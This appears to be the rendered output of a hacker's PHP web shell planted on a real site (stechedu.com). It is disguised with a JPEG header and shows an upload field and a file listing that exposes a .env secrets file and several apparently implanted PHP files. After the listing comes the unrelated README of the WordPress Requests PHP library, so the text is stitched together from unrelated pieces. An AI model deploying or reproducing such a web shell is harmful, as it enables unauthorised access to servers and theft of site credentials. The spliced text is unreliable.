ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/stechedu/htdocs/stechedu.com

upload file:

List of files:

name file size edit permission action
.editorconfig258 KBAugust 13 2024 21:03:020770
.env1340 KBNovember 09 2024 13:13:000770
.env.example1213 KBAugust 13 2024 21:03:020770
.gitattributes186 KBAugust 13 2024 21:03:020770
.htaccess466 KBAugust 13 2024 21:03:020770
.well-known-July 10 2025 23:46:460750
11.php70548 KBJuly 01 2025 20:07:370644
Modules-November 04 2024 11:42:060755
README.md80 KBAugust 13 2024 21:03:020770
admin-link.php17837 KBJuly 21 2025 17:21:090644
app-November 04 2024 11:42:060755
artisan1686 KBAugust 13 2024 21:03:020770
aws.php188721 KBJuly 21 2025 17:21:090644
bootstrap-November 04 2024 11:38:260777
composer.json2932 KBSeptember 19 2024 12:33:020770
composer.lock415525 KBSeptember 19 2024 12:33:020770
config-July 02 2025 03:17:170777
database-November 04 2024 11:42:060777
index.php13824 KBJuly 02 2025 01:57:550770
ktq.txt1 KBJuly 02 2025 01:58:010644
lang-November 04 2024 11:38:260777
main.php302 KBJuly 05 2025 04:22:240644
modules_statuses.json775 KBAugust 26 2024 12:34:260770
package-lock.json72682 KBNovember 09 2024 12:47:510770
package.json481 KBAugust 13 2024 21:03:020770
phpunit.xml1084 KBAugust 13 2024 21:03:020770
postcss.config.js93 KBAugust 13 2024 21:03:020770
public-July 12 2025 06:01:050777
resources-November 04 2024 11:42:070755
robots.txt986 KBJuly 23 2025 17:11:510644
routes-November 04 2024 11:38:260777
server.php541 KBAugust 13 2024 21:03:040770
ss.php17569 KBJuly 02 2025 03:06:060644
storage-November 04 2024 11:42:080755
tailwind.config.js541 KBAugust 13 2024 21:03:040770
tests-November 04 2024 11:42:080777
tmp.zip3878 KBJuly 21 2025 17:21:090644
vendor-November 04 2024 11:42:120777
version.json26 KBOctober 15 2024 18:29:320770
vite-module-loader.js1397 KBAugust 13 2024 21:03:060770
vite.config.js310 KBAugust 13 2024 21:03:060770
Requests for PHP ================ [![CS](https://github.com/WordPress/Requests/actions/workflows/cs.yml/badge.svg)](https://github.com/WordPress/Requests/actions/workflows/cs.yml) [![Lint](https://github.com/WordPress/Requests/actions/workflows/lint.yml/badge.svg)](https://github.com/WordPress/Requests/actions/workflows/lint.yml) [![Test](https://github.com/WordPress/Requests/actions/workflows/test.yml/badge.svg)](https://github.com/WordPress/Requests/actions/workflows/test.yml) [![codecov.io](https://codecov.io/gh/WordPress/Requests/branch/stable/graph/badge.svg?token=AfpxK7WMxj&branch=stable)](https://codecov.io/gh/WordPress/Requests?branch=stable) Requests is a HTTP library written in PHP, for human beings. It is roughly based on the API from the excellent [Requests Python library](http://python-requests.org/). Requests is [ISC Licensed](https://github.com/WordPress/Requests/blob/stable/LICENSE) (similar to the new BSD license) and has no dependencies, except for PHP 5.6+. Despite PHP's use as a language for the web, its tools for sending HTTP requests are severely lacking. cURL has an [interesting API](https://www.php.net/curl-setopt), to say the least, and you can't always rely on it being available. Sockets provide only low level access, and require you to build most of the HTTP response parsing yourself. We all have better things to do. That's why Requests was born. ```php $headers = array('Accept' => 'application/json'); $options = array('auth' => array('user', 'pass')); $request = WpOrg\Requests\Requests::get('https://api.github.com/gists', $headers, $options); var_dump($request->status_code); // int(200) var_dump($request->headers['content-type']); // string(31) "application/json; charset=utf-8" var_dump($request->body); // string(26891) "[...]" ``` Requests allows you to send **HEAD**, **GET**, **POST**, **PUT**, **DELETE**, and **PATCH** HTTP requests. You can add headers, form data, multipart files, and parameters with basic arrays, and access the response data in the same way. Requests uses cURL and fsockopen, depending on what your system has available, but abstracts all the nasty stuff out of your way, providing a consistent API. Features -------- - International Domains and URLs - Browser-style SSL Verification - Basic/Digest Authentication - Automatic Decompression - Connection Timeouts Installation ------------ ### Install with Composer If you're using [Composer](https://getcomposer.org/) to manage dependencies, you can add Requests with it. ```sh composer require rmccue/requests ``` or ```json { "require": { "rmccue/requests": "^2.0" } } ``` ### Install source from GitHub To install the source code: ```bash $ git clone git://github.com/WordPress/Requests.git ``` Next, include the autoloader in your scripts: ```php require_once '/path/to/Requests/src/Autoload.php'; ``` You'll probably also want to register the autoloader: ```php WpOrg\Requests\Autoload::register(); ``` ### Install source from zip/tarball Alternatively, you can fetch a [tarball][] or [zipball][]: ```bash $ curl -L https://github.com/WordPress/Requests/tarball/stable | tar xzv (or) $ wget https://github.com/WordPress/Requests/tarball/stable -O - | tar xzv ``` [tarball]: https://github.com/WordPress/Requests/tarball/stable [zipball]: https://github.com/WordPress/Requests/zipball/stable ### Using a Class Loader If you're using a class loader (e.g., [Symfony Class Loader][]) for [PSR-4][]-style class loading: ```php $loader = new Psr4ClassLoader(); $loader->addPrefix('WpOrg\\Requests\\', 'path/to/vendor/Requests/src'); $loader->register(); ``` [Symfony Class Loader]: https://github.com/symfony/ClassLoader [PSR-4]: https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-4.md Documentation ------------- The best place to start is our [prose-based documentation][], which will guide you through using Requests. After that, take a look at [the documentation for `\WpOrg\Requests\Requests::request()`][request_method], where all the parameters are fully documented. Requests is [100% documented with PHPDoc](https://requests.ryanmccue.info/api-2.x/). If you find any problems with it, [create a new issue](https://github.com/WordPress/Requests/issues/new)! [prose-based documentation]: https://github.com/WordPress/Requests/blob/stable/docs/README.md [request_method]: https://requests.ryanmccue.info/api-2.x/classes/WpOrg-Requests-Requests.html#method_request Testing ------- Requests strives to have 100% code-coverage of the library with an extensive set of tests. We're not quite there yet, but [we're getting close][codecov]. [codecov]: https://codecov.io/github/WordPress/Requests/ To run the test suite, first check that you have the [PHP JSON extension ](https://www.php.net/book.json) enabled. Then simply: ```bash $ phpunit ``` If you'd like to run a single set of tests, specify just the name: ```bash $ phpunit Transport/cURL ``` Requests and PSR-7/PSR-18 ------------------------- [PSR-7][psr-7] describes common interfaces for representing HTTP messages. [PSR-18][psr-18] describes a common interface for sending HTTP requests and receiving HTTP responses. Both PSR-7 as well as PSR-18 were created after Requests' conception. At this time, there is no intention to add a native PSR-7/PSR-18 implementation to the Requests library. However, the amazing [Artur Weigandt][art4] has created a [package][requests-psr-18], which allows you to use Requests as a PSR-7 compatible PSR-18 HTTP Client. If you are interested in a PSR-7/PSR-18 compatible version of Requests, we highly recommend you check out [this package][requests-psr-18]. [psr-7]: https://www.php-fig.org/psr/psr-7/ [psr-18]: https://www.php-fig.org/psr/psr-18/ [art4]: https://github.com/Art4 [requests-psr-18]: https://packagist.org/packages/art4/requests-psr18-adapter Contribute ---------- 1. Check for open issues or open a new issue for a feature request or a bug. 2. Fork [the repository][] on Github to start making your changes to the `develop` branch (or branch off of it). 3. Write one or more tests which show that the bug was fixed or that the feature works as expected. 4. Send in a pull request. If you have questions while working on your contribution and you use Slack, there is a [#core-http-api] channel available in the [WordPress Slack] in which contributions can be discussed. [the repository]: https://github.com/WordPress/Requests [#core-http-api]: https://wordpress.slack.com/archives/C02BBE29V42 [WordPress Slack]: https://make.wordpress.org/chat/